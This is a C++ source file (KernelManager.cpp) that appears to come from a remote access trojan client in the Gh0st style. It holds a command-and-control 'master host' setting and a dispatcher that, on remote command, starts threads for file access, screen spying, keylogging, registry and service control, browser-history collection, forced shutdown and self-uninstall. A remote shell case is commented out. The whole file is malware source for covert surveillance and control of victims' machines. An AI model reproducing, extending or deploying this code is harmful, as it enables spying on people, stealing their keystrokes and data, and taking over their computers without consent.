2024-06-23 17:36:53 +08:00

92 lines
2.9 KiB
C++

// KernelManager.cpp: implementation of the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "KernelManager.h"
#include "Loop.h"
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
char CKernelManager::m_strMasterHost[256] = { 0 };
UINT CKernelManager::m_nMasterPort = 80;
CKernelManager::CKernelManager(CClientSocket *pClient,
LPCSTR lpszMasterHost, UINT nMasterPort) : CManager(pClient)
{
if (lpszMasterHost != NULL)
strcpy(m_strMasterHost, lpszMasterHost);
m_nMasterPort = nMasterPort;
m_nThreadCount = 0;
}
CKernelManager::~CKernelManager()
{
for (UINT i = 0; i < m_nThreadCount; i++)
{
TerminateThread(m_hThread[i], -1);
CloseHandle(m_hThread[i]);
}
}
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_LIST_DRIVE: // 文件管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_FileManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, false);
break;
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
case COMMAND_SYSTEM://系统管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_SystemManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_KEYBOARD: //键盘记录
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_KeyboardManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
// case COMMAND_SHELL: // 远程终端
// m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ShellManager,
// (LPVOID)m_pClient->m_Socket, 0, NULL, true);
// break;
case COMMAND_SERVICE_MANAGER://服务管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ServiceManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_REGEDIT://注册表管理
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_RegeditManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_URL_HISTORY://浏览记录
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_UrlManager,
(LPVOID)m_pClient->m_Socket, 0, NULL);
break;
case COMMAND_MESSAGEBOX://弹窗
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_Messagebox,
(LPVOID)(lpBuffer + 1), 0, NULL, true);
break;
case COMMAND_CHANGE_GROUP://更改分组
SetHostID((LPCTSTR)(lpBuffer + 1), TRUE);
break;
case COMMAND_RENAME_REMARK://更改备注
SetHostID((LPCTSTR)(lpBuffer + 1), FALSE);
break;
case COMMAND_SESSION://会话管理
ShutdownWindows(lpBuffer[1]);
break;
case COMMAND_UNINSTALL://卸载主机
UninstallService();
break;
default:
break;
}
}